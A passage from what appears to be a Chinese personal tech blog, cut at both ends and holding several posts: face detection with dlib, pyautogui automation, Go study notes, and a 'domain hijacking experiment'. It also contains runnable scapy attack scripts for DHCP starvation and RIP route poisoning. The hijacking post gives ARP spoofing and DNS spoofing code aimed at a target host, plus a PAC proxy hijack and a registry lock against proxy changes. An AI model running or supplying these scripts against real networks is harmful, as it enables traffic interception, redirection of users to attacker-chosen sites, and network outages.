UDP(sport=68,dport=67)/ BOOTP(chaddr=mac_random,xid=xid_random,flags=0x8000)/ DHCP(options=[('message-type','discover')] )) sendp(dhcp_discover,iface=iface) if __name__ == '__main__': iface = 'eth0' dhcp_discover(iface)RIP 攻击from scapy.all import RIP,Ether,IP,UDP,RIP,RIPEntry,sniff,send packet = sniff(stop_filter=lambda x:x.haslayer(RIP)) mac_dst= packet[-1][Ether].dst mac_src= packet[-1][Ether].src ip = packet[-1][RIPEntry].addr entry = packet[-1][RIPEntry] ripentry = RIPEntry(addr=ip,metric=16) #判断是否有多个路由信息 if entry.getlayer(RIPEntry,2): while entry: #获取下一个路由信息 entry = entry.getlayer(RIPEntry, 2) ip = entry.addr ripentry = ripentry / RIPEntry(addr=ip, metric=16) rip = (Ether(dst=mac_dst,src=mac_src) /IP(dst="224.0.0.9",src=ip) /UDP(dport=520,sport=520)/RIP(cmd=2,version=2)/ripentry) while True: packet.show() send(packet,verbose=0)
2022年07月15日
579 阅读
0 评论
161 点赞
2022-07-13
【技术分享】Python3 人脸检测 opencv + dlib实现 ( 第一课 )
简介dlib是一个很有名的库,有c++、Python的接口。使用dlib可以大大简化开发,比如人脸识别,特征点检测之类的工作都可以很轻松实现。同时也有很多基于dlib开发的应用和开源库,比如face_recogintion库(应用一个基于Python的开源人脸识别库,face_recognition)等等。参考代码import sys import dlib import cv2 detector = dlib.get_frontal_face_detector() #获取人脸分类器 # 传入的命令行参数 for f in sys.argv[1:]: # opencv 读取图片,并显示 img = cv2.imread(f, cv2.IMREAD_COLOR) # 摘自官方文档: # image is a numpy ndarray containing either an 8bit grayscale or RGB image. # opencv读入的图片默认是bgr格式,我们需要将其转换为rgb格式;都是numpy的ndarray类。 b, g, r = cv2.split(img) # 分离三个颜色通道 img2 = cv2.merge([r, g, b]) # 融合三个颜色通道生成新图片 dets = detector(img, 1) #使用detector进行人脸检测 dets为返回的结果 print("Number of faces detected: {}".format(len(dets))) # 打印识别到的人脸个数 # enumerate是一个Python的内置方法,用于遍历索引 # index是序号;face是dets中取出的dlib.rectangle类的对象,包含了人脸的区域等信息 # left()、top()、right()、bottom()都是dlib.rectangle类的方法,对应矩形四条边的位置 for index, face in enumerate(dets): print('face {}; left {}; top {}; right {}; bottom {}'.format(index, face.left(), face.top(), face.right(), face.bottom())) # 在图片中标注人脸,并显示 left = face.left() top = face.top() right = face.right() bottom = face.bottom() cv2.rectangle(img, (left, top), (right, bottom), (0, 255, 0), 3) cv2.namedWindow(f, cv2.WINDOW_AUTOSIZE) cv2.imshow(f, img) # 等待按键,随后退出,销毁窗口 k = cv2.waitKey(0) cv2.destroyAllWindows()官方示例 #!/usr/bin/python # The contents of this file are in the public domain. See LICENSE_FOR_EXAMPLE_PROGRAMS.txt # # This example program shows how to find frontal human faces in an image. In # particular, it shows how you can take a list of images from the command # line and display each on the screen with red boxes overlaid on each human # face. # # The examples/faces folder contains some jpg images of people. You can run # this program on them and see the detections by executing the # following command: # ./face_detector.py ../examples/faces/*.jpg # # This face detector is made using the now classic Histogram of Oriented # Gradients (HOG) feature combined with a linear classifier, an image # pyramid, and sliding window detection scheme. This type of object detector # is fairly general and capable of detecting many types of semi-rigid objects # in addition to human faces. Therefore, if you are interested in making # your own object detectors then read the train_object_detector.py example # program. # # # COMPILING/INSTALLING THE DLIB PYTHON INTERFACE # You can install dlib using the command: # pip install dlib # # Alternatively, if you want to compile dlib yourself then go into the dlib # root folder and run: # python setup.py install # or # python setup.py install --yes USE_AVX_INSTRUCTIONS # if you have a CPU that supports AVX instructions, since this makes some # things run faster. # # Compiling dlib should work on any operating system so long as you have # CMake and boost-python installed. On Ubuntu, this can be done easily by # running the command: # sudo apt-get install libboost-python-dev cmake # # Also note that this example requires scikit-image which can be installed # via the command: # pip install scikit-image # Or downloaded from http://scikit-image.org/download.html. import sys import dlib from skimage import io detector = dlib.get_frontal_face_detector() win = dlib.image_window() for f in sys.argv[1:]: print("Processing file: {}".format(f)) img = io.imread(f) # The 1 in the second argument indicates that we should upsample the image # 1 time. This will make everything bigger and allow us to detect more # faces. dets = detector(img, 1) print("Number of faces detected: {}".format(len(dets))) for i, d in enumerate(dets): print("Detection {}: Left: {} Top: {} Right: {} Bottom: {}".format( i, d.left(), d.top(), d.right(), d.bottom())) win.clear_overlay() win.set_image(img) win.add_overlay(dets) dlib.hit_enter_to_continue() # Finally, if you really want to you can ask the detector to tell you the score # for each detection. The score is bigger for more confident detections. # The third argument to run is an optional adjustment to the detection threshold, # where a negative value will return more detections and a positive value fewer. # Also, the idx tells you which of the face sub-detectors matched. This can be # used to broadly identify faces in different orientations. if (len(sys.argv[1:]) > 0): img = io.imread(sys.argv[1]) dets, scores, idx = detector.run(img, 1, -1) for i, d in enumerate(dets): print("Detection {}, score: {}, face_type:{}".format( d, scores[i], idx[i]))
2022年07月13日
107 阅读
0 评论
36 点赞
2022-07-12
【技术分享】Python3 模拟鼠标键盘
模块安装pip install pyautogui -i https://mirrors.aliyun.com/pypi/simple/找图坐标import pyautogui position = pyautogui.locateCenterOnScreen('1.png') pyautogui.moveTo(position[0], position[1],duration=0.2) print(position)基本操作import pyautogui pyautogui.FAILSAFE = True # 启用自动防故障功能,左上角的坐标为(0,0),将鼠标移到屏幕的左上角,来抛出failSafeException异常 x, y = 122, 244 pyautogui.onScreen(x, y) # 结果为true width, height = pyautogui.size() # 屏幕的宽度和高度 print(width, height)import pyautogui currentMouseX, currentMouseY = pyautogui.position() # 鼠标当前位置 print(currentMouseX, currentMouseY) # 控制鼠标移动,duration为持续时间 for i in range(2): pyautogui.moveTo(100, 100, duration=0.25) # 移动到 (100,100) pyautogui.moveTo(200, 100, duration=0.25) pyautogui.moveTo(200, 200, duration=0.25) pyautogui.moveTo(100, 200, duration=0.25) pyautogui.moveRel(50, 0, duration=0.25) # 从当前位置右移100像素 pyautogui.moveRel(0, 50, duration=0.25) # 向下 pyautogui.moveRel(-50, 0, duration=0.25) # 向左 pyautogui.moveRel(0, -50, duration=0.25) # 向上 # 按住鼠标左键,把鼠标拖拽到(100, 200)位置 pyautogui.dragTo(100, 200, button='left') # 按住鼠标左键,用2秒钟把鼠标拖拽到(300, 400)位置 pyautogui.dragTo(300, 400, 2, button='left') # 按住鼠标左键,用0.2秒钟把鼠标向上拖拽 pyautogui.dragRel(0, -60, duration=0.2) # pyautogui.click(x=moveToX, y=moveToY, clicks=num_of_clicks, interval=secs_between_clicks, button='left') # 其中,button属性可以设置成left,middle和right。 pyautogui.click(10, 20, 2, 0.25, button='left') pyautogui.click(x=100, y=200, duration=2) # 先移动到(100, 200)再单击 pyautogui.click() # 鼠标当前位置点击一下 pyautogui.doubleClick() # 鼠标当前位置左击两下 pyautogui.doubleClick(x=100, y=150, button="left") # 鼠标在(100,150)位置左击两下 pyautogui.tripleClick() # 鼠标当前位置左击三下 pyautogui.mouseDown() # 鼠标左键按下再松开 pyautogui.mouseUp() pyautogui.mouseDown(button='right') # 按下鼠标右键 pyautogui.mouseUp(button='right', x=100, y=200) # 移动到(100, 200)位置,然后松开鼠标右键 # scroll函数控制鼠标滚轮的滚动,amount_to_scroll参数表示滚动的格数。正数则页面向上滚动,负数则向下滚动 # pyautogui.scroll(clicks=amount_to_scroll, x=moveToX, y=moveToY) pyautogui.scroll(5, 20, 2) pyautogui.scroll(10) # 向上滚动10格 pyautogui.scroll(-10) # 向下滚动10格 pyautogui.scroll(10, x=100, y=100) # 移动到(100, 100)位置再向上滚动10格 # 缓动/渐变函数可以改变光标移动过程的速度和方向。通常鼠标是匀速直线运动,这就是线性缓动/渐变函数。 # PyAutoGUI有30种缓动/渐变函数,可以通过pyautogui.ease*?查看。 # 开始很慢,不断加速 pyautogui.moveTo(100, 100, 2, pyautogui.easeInQuad) # 开始很快,不断减速 pyautogui.moveTo(100, 100, 2, pyautogui.easeOutQuad) # 开始和结束都快,中间比较慢 pyautogui.moveTo(100, 100, 2, pyautogui.easeInOutQuad) # 一步一徘徊前进 pyautogui.moveTo(100, 100, 2, pyautogui.easeInBounce) # 徘徊幅度更大,甚至超过起点和终点 pyautogui.moveTo(100, 100, 2, pyautogui.easeInElastic)键盘操作import pyautogui pyautogui.typewrite('Hello world!') # 输入Hello world!字符串 pyautogui.typewrite('Hello world!', interval=0.25) # 每次输入间隔0.25秒,输入Hello world! pyautogui.press('enter') # 按下并松开(轻敲)回车键 pyautogui.press(['left', 'left', 'left', 'left']) # 按下并松开(轻敲)四下左方向键 pyautogui.keyDown('shift') # 按下`shift`键 pyautogui.keyUp('shift') # 松开`shift`键 pyautogui.keyDown('shift') pyautogui.press('4') pyautogui.keyUp('shift') # 输出 $ 符号的按键 pyautogui.hotkey('ctrl', 'v') # 组合按键(Ctrl+V),粘贴功能,按下并松开'ctrl'和'v'按键 # pyautogui.KEYBOARD_KEYS数组中就是press(),keyDown(),keyUp()和hotkey()函数可以输入的按键名称 pyautogui.KEYBOARD_KEYS = ['\t', '\n', '\r', ' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~', 'accept', 'add', 'alt', 'altleft', 'altright', 'apps', 'backspace', 'browserback', 'browserfavorites', 'browserforward', 'browserhome', 'browserrefresh', 'browsersearch', 'browserstop', 'capslock', 'clear', 'convert', 'ctrl', 'ctrlleft', 'ctrlright', 'decimal', 'del', 'delete', 'divide', 'down', 'end', 'enter', 'esc', 'escape', 'execute', 'f1', 'f10', 'f11', 'f12', 'f13', 'f14', 'f15', 'f16', 'f17', 'f18', 'f19', 'f2', 'f20', 'f21', 'f22', 'f23', 'f24', 'f3', 'f4', 'f5', 'f6', 'f7', 'f8', 'f9', 'final', 'fn', 'hanguel', 'hangul', 'hanja', 'help', 'home', 'insert', 'junja', 'kana', 'kanji', 'launchapp1', 'launchapp2', 'launchmail', 'launchmediaselect', 'left', 'modechange', 'multiply', 'nexttrack', 'nonconvert', 'num0', 'num1', 'num2', 'num3', 'num4', 'num5', 'num6', 'num7', 'num8', 'num9', 'numlock', 'pagedown', 'pageup', 'pause', 'pgdn', 'pgup', 'playpause', 'prevtrack', 'print', 'printscreen', 'prntscrn', 'prtsc', 'prtscr', 'return', 'right', 'scrolllock', 'select', 'separator', 'shift', 'shiftleft', 'shiftright', 'sleep', 'space', 'stop', 'subtract', 'tab', 'up', 'volumedown', 'volumemute', 'volumeup', 'win', 'winleft', 'winright', 'yen', 'command', 'option', 'optionleft', 'optionright'] 鼠标操作import pyautogui import time # 获取鼠标位置 def get_mouse_positon(): print('开始获取鼠标位置') try: for i in range(30): # Get and print the mouse coordinates. x, y = pyautogui.position() positionStr = '鼠标坐标点(X,Y)为:{},{}'.format(str(x).rjust(4), str(y).rjust(4)) pix = pyautogui.screenshot().getpixel((x, y)) # 获取鼠标所在屏幕点的RGB颜色 positionStr += ' RGB:(' + str(pix[0]).rjust(3) + ',' + str(pix[1]).rjust(3) + ',' + str(pix[2]).rjust( 3) + ')' print(positionStr) time.sleep(0.1) # 停顿时间 except: print('获取鼠标位置失败') if __name__ == "__main__": get_mouse_positon()弹窗操作import pyautogui # 显示一个简单的带文字和OK按钮的消息弹窗。用户点击后返回button的文字。 pyautogui.alert(text='', title='', button='OK') b = pyautogui.alert(text='要开始程序么?', title='请求框', button='OK') print(b) # 输出结果为OK # 显示一个简单的带文字、OK和Cancel按钮的消息弹窗,用户点击后返回被点击button的文字,支持自定义数字、文字的列表。 pyautogui.confirm(text='', title='', buttons=['OK', 'Cancel']) # OK和Cancel按钮的消息弹窗 pyautogui.confirm(text='', title='', buttons=range(10)) # 10个按键0-9的消息弹窗 a = pyautogui.confirm(text='', title='', buttons=range(10)) print(a) # 输出结果为你选的数字 # 可以输入的消息弹窗,带OK和Cancel按钮。用户点击OK按钮返回输入的文字,点击Cancel按钮返回None。 pyautogui.prompt(text='', title='', default='') # 样式同prompt(),用于输入密码,消息用*表示。带OK和Cancel按钮。用户点击OK按钮返回输入的文字,点击Cancel按钮返回None。 pyautogui.password(text='', title='', default='', mask='*')图像操作import pyautogui pyautogui.screenshot('1.png') # 截全屏并设置保存图片的位置和名称 im = pyautogui.screenshot('1.png') # 截全屏并设置保存图片的位置和名称 print(im) # 打印图片的属性 # 不截全屏,截取区域图片。截取区域region参数为:左上角XY坐标值、宽度和高度 pyautogui.screenshot(r'1.png', region=(0, 0, 300, 400)) pix = pyautogui.screenshot().getpixel((220, 200)) # 获取坐标(220,200)所在屏幕点的RGB颜色 positionStr = ' RGB:(' + str(pix[0]).rjust(3) + ',' + str(pix[1]).rjust(3) + ',' + str(pix[2]).rjust(3) + ')' print(positionStr) # 打印结果为RGB:( 60, 63, 65) pix = pyautogui.pixel(220, 200) # 获取坐标(220,200)所在屏幕点的RGB颜色与上面三行代码作用一样 # 如果你只是要检验一下指定位置的像素值,可以用pixelMatchesColor(x,y,RGB)函数,把X、Y和RGB元组值穿入即可 # 如果所在屏幕中(x,y)点的实际RGB三色与函数中的RGB一样就会返回True,否则返回False # tolerance参数可以指定红、绿、蓝3种颜色误差范围 pyautogui.pixelMatchesColor(100, 200, (255, 255, 255)) pyautogui.pixelMatchesColor(100, 200, (255, 255, 245), tolerance=10) # 获得文件图片在现在的屏幕上面的坐标,返回的是一个元组(top, left, width, height) # 如果截图没找到,pyautogui.locateOnScreen()函数返回None a = pyautogui.locateOnScreen(r'1.png') print(a) # 打印结果为Box(left=0, top=0, width=300, height=400) x, y = pyautogui.center(a) # 获得文件图片在现在的屏幕上面的中心坐标 print(x, y) # 打印结果为150 200 x, y = pyautogui.locateCenterOnScreen('1.png') # 这步与上面的四行代码作用一样 # 匹配屏幕所有与目标图片的对象,可以用for循环和list()输出 pyautogui.locateAllOnScreen(r'1.png') for pos in pyautogui.locateAllOnScreen(r'1.png'): print(pos) # 打印结果为Box(left=0, top=0, width=300, height=400) a = list(pyautogui.locateAllOnScreen('1.png')) print(a) # 打印结果为[Box(left=0, top=0, width=300, height=400)]{dotted startColor="#ff6c6c" endColor="#1989fa"/}
2022年07月12日
170 阅读
0 评论
39 点赞
2022-07-11
【每日随记】HTTPS 域名劫持跳转实验
简介本地劫持指的是通过修改电脑或设备的网络设置,将某个域名解析到指定的目标网站或服务器上,这样,当用户访问这个域名时,会自动跳转到事先设定的网站。这种行为可以用来重定向流量、欺骗用户或进行网络攻击。简单来说,就是别人访问某个网址,实际看到的页面是你控制的,达到了特定的目的,这就是域名劫持。hosts劫持修改 hosts 文件,添加对应的IP和自定义域名解析。通过 ping 命令验证,域名已经解析到指定的内网IP地址,能够正常访问。但当通过浏览器访问自定义的域名时,发现访问失败(可能是因为 hosts 只能指定内网IP,公网访问时无法生效)。根据我发现,一些私服游戏使用 hosts 文件来实现劫持,可以直接访问。现在的问题是,我们想通过 hosts 文件来访问并跳转到指定的网站。可以这样做:既然已经有权限修改 hosts 文件,为什么不在本地启动一个运行在 80 端口的服务?然后,通过前端的 JS 脚本,自动跳转到指定的网站。优点:操作简单,不需要额外的服务器可以在本地启动服务,直接访问指定的 HTTP 网站缺点:网址会变成内网IP,用户访问体验稍微受影响只能访问 HTTP 网站,无法支持 HTTPS 等加密协议C:\Windows\System32\drivers\etc\hosts # hosts文件路径WEB 服务Go代码package main import ( "net/http" ) func main() { content := "<script>location.href='http://news.sohu.com/';</script>" http.HandleFunc("/", func(rw http.ResponseWriter, r *http.Request) { rw.Write([]byte(content)) }) http.ListenAndServe("0.0.0.0:80", nil) }Python代码from flask import * app = Flask(__name__) @app.route("/", methods=["GET"]) def Jump(): return '<script>location.href="http://news.sohu.com/";</script>' if __name__ == "__main__": app.run(host="0.0.0.0", port=80)PAC代理劫持PAC代理劫持非常简单,它利用浏览器的过滤规则来拦截指定的请求。这个方法只支持 HTTP 请求,需要服务器,但也可以不用服务器。实现方法:利用PAC脚本,可以在浏览器中设置代理,远程或本地修改劫持的链接。如果使用本地路径,虽然无法远程修改,但能够直接控制劫持的网址。优点:支持局域网和公网网址不会变,只是网页内容发生变化只有访问被过滤的网址时才会触发代理缺点:只能支持 HTTP 网站,无法处理 HTTPS 请求PAC脚本相关的详细文章可以参考: PAC脚本文章 PAC脚本function FindProxyForURL(url, host) { var HiJackList = [ '183.136.132.24', 'qytl.xiaohaibao.vip', 'qcsa.pktlsohu.com', ] for (i = 0; i < HiJackList.length; i++) { if (shExpMatch(host, HiJackList[i])) { return "PROXY 113.20.101.128:80;"; } } return "DIRECT" }现在的问题是,别人访问到服务器上的流量,但我希望将这些访问直接跳转到指定的页面,而网址不会改变。可以使用 Fiddler 这个抓包工具来实现重定向规则,将所有访问指定的网址的流量都重定向到目标网站。代理劫持操作上差不多,主要是通过Fiddler的重定向规则来实现,但需要一些额外的设置。实现方法:使用Fiddler来设置重定向规则,将所有通过服务器访问的流量转向到目标网站。为了支持HTTPS,需安装Fiddler的证书到客户端,才能让HTTPS流量也经过服务器进行重定向。通过注册表限制对特定键的修改操作。实现方法:使用 regini lock.ini 命令(需要管理员权限),可以将注册表某个项设置为只读状态,防止任何修改。这样即使尝试修改注册表,也不会生效,因为该项已被锁定为只读状态。1 - Administrators 完全访问 2 - Administrators 只读访问 3 - Administrators 读和写入访问 4 - Administrators 读、写入、删除访问 5 - Creator 完全访问 6 - Creator 读和写入访问 7 - everyone 完全访问 8 - everyone 只读访问 9 - everyone 读和写入访问 10 - everyone 读、写入、删除访问 11 - Power Users 完全访问 12 - Power Users 读和写入访问 13 - Power Users 读、写入、删除访问 14 - System Operators 完全访问 15 - System Operators 读和写入访问 16 - System Operators 读、写入、删除访问 17 - System 完全访问 18 - System 读和写入访问 19 - System 只读访问 20 - Administrators 读、写、执行访问 21 - Interactive User 完全访问 22 - Interactive User 读和写入访问 23 - Interactive User 读、写入、删除访问lock.ini 内容HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings [2 8 19]本地劫持这个软件类似于Fiddler,可以在本地修改网站内容。用户可以通过安装插件来调用DLL文件,使用Go语言实现中间人功能。推荐网站:sunny 可以下载模块调用DLL实现,类似于Fiddler的功能,支持HTTPS和HTTP网站。使用视频教程: Bilibili视频教程 优点:支持修改HTTPS和HTTP的网站网址不会变,只是网页内容会发生变化缺点:暂无明显缺点,操作简单直观。DNS劫持可以在Windows Server上搭建一台DNS服务器,通过Go语言作为服务器部分处理DNS查询,Python作为查询库来解析没有的IP地址。实现方法:Go 负责接收DNS查询请求,并返回响应。Python 负责解析没有缓存的IP地址,比如通过外部API或其他方式获取无法直接解析的IP。启动DNS服务Go代码// Go 服务器 package main import ( "encoding/json" "fmt" "io/ioutil" "log" "net" "net/http" "strconv" "github.com/miekg/dns" ) var domainsToAddresses map[string]string = map[string]string{ "rtex.com.cn.": "103.30.201.118", "jameshfisher.com.": "103.30.201.118", "www.free-proxy.com.": "148.72.168.34", "us1.free-proxy.com.": "148.72.168.34", "us2.free-proxy.com.": "148.72.169.80", } type handler struct{} func (this *handler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) { msg := dns.Msg{} msg.SetReply(r) switch r.Question[0].Qtype { case dns.TypeA: msg.Authoritative = true domain := msg.Question[0].Name address, ok := domainsToAddresses[domain] if !ok { url2 := "http://www.ac.cn/dns?domain=" + domain res, _ := http.Get(url2) resp, _ := ioutil.ReadAll(res.Body) fmt.Printf("%s", resp) type DIP struct { Domain string IP string } var dip DIP err := json.Unmarshal(resp, &dip) if err != nil { fmt.Println("error:", err) } domainsToAddresses[domain] = dip.IP address = dip.IP } log.Println("domain:\t", domain, address, ok) msg.Answer = append(msg.Answer, &dns.A{ Hdr: dns.RR_Header{Name: domain, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 60}, A: net.ParseIP(address), }) } fmt.Println("------------------------------------------------------") w.WriteMsg(&msg) } func main() { srv := &dns.Server{Addr: ":" + strconv.Itoa(53), Net: "udp"} srv.Handler = &handler{} if err := srv.ListenAndServe(); err != nil { log.Fatalf("Failed to set udp listener %s\n", err.Error()) } }Python代码from flask import Flask, request, jsonify import socket app = Flask(__name__) @app.route('/', methods=['GET']) def hello_world(): d = { 'msg': '/dns?domain=xxx.xx' } return jsonify(d) pass @app.route('/dns', methods=['GET']) def dns(): domain = request.args.get('domain', "") rt = {} rt['domain'] = domain ip = '' if domain: try: ip = socket.gethostbyname(domain) except Exception as e: print(e) rt['error'] = str(e) pass rt['ip'] = ip return jsonify(rt) pass if __name__ == '__main__': app.run(debug=True)然后自定义dns地址就可以指定跳转了ARP欺骗ARP欺骗的原理很简单,就是伪装自己是网关,让所有的流量都通过你的机器。这样类似于Fiddler的过滤和修改原理,可以修改响应的数据并返回自定义的IP。实现方法:使用Kali Linux Python的scapy库来进行ARP欺骗。通过欺骗将流量引导到你的机器,然后进行修改和返回自定义的IP地址。效果:通过欺骗网关,所有的流量都会经过你的机器,可以进行HTTP请求的修改。可以修改HTTP响应,但目前仅支持HTTP,不支持HTTPS。优点:直接欺骗网关,能够控制所有流量可以动态修改返回的数据缺点:只能支持HTTP,无法处理HTTPS请求。Python代码from scapy.all import * import time p1 = Ether(dst="ff:ff:ff:ff:ff:ff",src="b8:81:98:e0:46:6a")/ARP(pdst="192.168.43.250",psrc="192.168.43.1") for i in range(6000): sendp(p1) time.sleep(0.1)然后到服务打开这个服务,让流量成转发模式,不然对方就直接断网Python 过滤代码from scapy.all import * import sys # dns = IP()/UDP()/DNS(id,qr,opcode,rd,qd=DNSQR(qnname=dns_name), verbose=False) id标识 匹配请求与回应 qr 0表示查询报文 opcode 0表示标准查询 rd 1表示递归 def DNS_Spoof(data): try: # ip_fields = data.getlayer(IP).fields # udp_fields = data.getlayer(UDP).fields # dns_fields = data.getlayer(DNS).fields # print(ip_fields) # print(udp_fields) # print(dns_fields) req_domain = data[DNS].qd.qname print(str(req_domain).split("'")[1]) print(str(data[IP].src)) print(str(data[IP].src) == '192.168.31.135') print(str(req_domain) == 'www.baidu.com') if str(data[IP].src) == '192.168.31.135': # if str(req_domain).split("'")[1].find('baidu.com'): print(str(req_domain)) del (data[UDP].len) del (data[UDP].chksum) del (data[IP].len) del (data[IP].chksum) res = data.copy() res.FCfield = 2 res.src, res.dst = data.dst, data.src res[IP].src, res[IP].dst = data[IP].dst, data[IP].src res.sport, res.dport = data.dport, data.sport res[DNS].qr = 1 res[DNS].ra = 1 res[DNS].ancount = 1 res[DNS].an = DNSRR( rrname = req_domain, type = 'A', rclass = 'IN', ttl = 900, rdata = '220.220.220.220' ) sendp(res) else: print('不是目标主机') except Exception as e: print(e) def DNS_S(iface): sniff(prn=DNS_Spoof,filter='udp dst port 53',iface=iface) if __name__ == '__main__': DNS_S('Realtek 8812BU Wireless LAN 802.11ac USB NIC')
2022年07月11日
417 阅读
0 评论
157 点赞
2022-07-11
【每日随记】 Go语言学习笔记
环境变量GOROOT:GOROOT 指向的是 Go 的安装路径。当你导入 Go 内部库时,Go 会在 GOROOT 路径下寻找相关的库文件。GOARCH:GOARCH 表示目标机器的处理器架构,例如 386、amd64 或 arm。这意味着你可以编译适用于不同处理器架构的 Go 程序。GOOS:GOOS 表示目标机器的操作系统,例如 darwin、freebsd、linux 或 windows。这允许你编译适用于不同操作系统的 Go 程序。GOPATH:GOPATH 是一个路径,用来存放第三方库和项目的工作空间。bin 目录存放编译后生成的可执行文件。pkg 目录存放编译后的包/库的归档文件。src 目录存放项目和库的源文件。在 Go 中,并没有项目的概念,而是有 包 这样的概念。在 GOPATH 目录中,第一个路径是默认的包目录,意味着使用 go get 下载的包都会存放在第一个路径的 src 目录下。而在使用 go install 编译时,生成的可执行文件会存放在相应 GOPATH 的 bin 目录下。Go 标准文档常见命令go mod init // 初始化go.mod go mod tidy // 更新依赖文件 go mod download // 下载依赖文件 go mod vendor // 将依赖转移至本地的vendor文件 go mod edit // 手动修改依赖文件 go mod graph // 打印依赖图 go mod verify // 校验依赖 go mod why // 解释为什么需要依赖设置代理go env -w GO111MODULE=on go env -w GOPROXY=https://goproxy.cn,direct设置32位go env -w GOARCH=386 // 设置32位 go env -w GOARCH=amd64 // 设置64位在Go语言中,整数类型(int 和 uint 系列)非常丰富,能够根据不同的需求选择适当的整数类型。相比于C/C++中的int类型,Go提供了更多细化的类型,以适应不同位数和符号要求的整数值。下面是对Go语言中各int类型的总结:整数类型整数类型:int8:占用1字节,取值范围为 -128 到 127。int16:占用2字节,取值范围为 -32768 到 32767。int32:占用4字节,取值范围为 -2147483648 到 2147483647。int64:占用8字节,取值范围为 -9223372036854775808 到 9223372036854775807。int:在64位系统上通常为64位,在32位系统上为32位。Go会根据平台自动确定其字节大小。无符号整数类型:uint8:占用1字节,取值范围为 0 到 255。uint16:占用2字节,取值范围为 0 到 65535。uint32:占用4字节,取值范围为 0 到 4294967295。uint64:占用8字节,取值范围为 0 到 18446744073709551615。uint:与int类似,大小与平台有关,64位系统上为64位,32位系统上为32位。在给出的Go语言代码中,我们可以看到如何使用Go语言的整数类型以及类型转换。整数类型范围代码使用math包中的常量,输出了Go语言中各整数类型的最小值和最大值:fmt.Println("int8:", math.MinInt8, "~", math.MaxInt8) fmt.Println("int16:", math.MinInt16, "~", math.MaxInt16) fmt.Println("int32:", math.MinInt32, "~", math.MaxInt32) fmt.Println("int64:", math.MinInt64, "~", math.MaxInt64)推导类型字节大小通过n := 1234567890,Go语言会根据值推导出变量n的类型,输出该类型的信息:fmt.Printf("n := 1234567890 的默认类型为:%T\n", n) fmt.Println("int类型的字节数为:", unsafe.Sizeof(n))在这个例子中,n的类型会根据它的值推导为int(在64位系统上是int64),并通过unsafe.Sizeof函数输出字节大小。类型转换Go语言支持类型转换,但对于不同类型之间的转换可能会发生截断或溢出。代码示范了将int32类型的变量a转换为其他整数类型:var a int32 = 987654321 b := int8(a) // 转换为int8,发生数值截断 c := int16(a) // 转换为int16,发生数值截断 d := int64(a) // 转换为int64在这种转换中,如果值超出了目标类型的取值范围,就会发生截断,导致数据丢失。操作注册表package main import ( "golang.org/x/sys/windows/registry" ) func main() { key, exists, _ := registry.CreateKey(registry.CURRENT_USER, `SOFTWARE\Hello Go\`, registry.ALL_ACCESS) defer key.Close() // 判断是否已经存在了 if exists { println(`键已存在`) } else { println(`新建注册表键`) } // 写入:32位整形值 key.SetDWordValue(`32位整形值`, uint32(123456)) // 写入:64位整形值 key.SetQWordValue(`64位整形值`, uint64(123456)) // 写入:字符串 key.SetStringValue(`字符串`, `hello`) // 写入:字符串数组 key.SetStringsValue(`字符串数组`, []string{`hello`, `world`}) // 写入:二进制 key.SetBinaryValue(`二进制`, []byte{0x11, 0x22}) // 读取:字符串 s, _, _ := key.GetStringValue(`字符串`) println(s) // 读取:一个项下的所有子项 keys, _ := key.ReadSubKeyNames(0) for _, key_subkey := range keys { // 输出所有子项的名字 println(key_subkey) } // 创建:子项 subkey, _, _ := registry.CreateKey(key, `子项`, registry.ALL_ACCESS) defer subkey.Close() // 删除:子项 // 该键有子项,所以会删除失败 // 没有子项,删除成功 registry.DeleteKey(key, `子项`) }网络请求HTTP 协议定义了多种请求方法,用于向服务器发送请求。在日常开发中,以下是常用的五种请求方法及其作用:方法描述GET请求指定的页面信息,并返回实体主体。POST向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST 请求可能会导致新的资源的建立和/或已有资源的修改。PUT从客户端向服务器传送的数据取代指定的文档的内容。DELETE请求服务器删除指定的页面。PATCH是对 PUT 方法的补充,用来对已知资源进行局部更新。GET 请求resp, err := http.Get("http://localhost:8080/get") if err != nil { log.Printf("get请求失败 error: %+v", err) return } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { log.Printf("读取Body失败 error: %+v", err) return } log.Println(string(body))http.Get 发送 GET 请求,获取指定 URL 的响应。POST 请求resp, err := http.Post("http://localhost:8080/post", "text/json;charset=utf-8", strings.NewReader("{\"name\":\"jack\"}")) if err != nil { log.Printf("post请求失败 error: %+v", err) return } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { log.Printf("读取Body失败 error: %+v", err) return } log.Println(string(body))http.Post 发送 POST 请求,strings.NewReader 用于构造请求体。POSTForm 请求resp, err := http.PostForm("http://localhost:8080/postForm", url.Values{"name": {"jack"}}) if err != nil { log.Printf("postForm请求失败 error: %+v", err) return } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { log.Printf("读取Body失败 error: %+v", err) return } log.Println(string(body))http.PostForm 用于发送表单数据请求,数据以 url.Values 形式传递。HEAD 请求resp, err := http.Head("http://localhost:8080/head") if err != nil { log.Printf("Head请求失败 error: %+v", err) return } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { log.Printf("读取Body失败 error: %+v", err) return } log.Println(string(body))http.Head 请求资源的头信息,不返回响应体。复杂请求(POST 请求 + 请求头)type User struct { Id int `json:"id"` Name string `json:"name"` } user := User{Id: 1, Name: "bob"} jsonBytes, err := json.Marshal(user) client := &http.Client{} request, err := http.NewRequest("POST", "http://localhost:8080/complex?env=dev", bytes.NewReader(jsonBytes)) request.Header.Add("Cookie", "123") request.Header.Add("Content-Type", "application/json;charset=utf-8") request.Header.Add("Token", "456") client.Timeout = 1 * time.Minute resp, err := client.Do(request) defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { log.Printf("读取Body失败 error: %+v", err) return } log.Println(string(body))http.NewRequest 用于创建复杂的 HTTP 请求,包括自定义请求方法、请求头等。完整的 HTTP 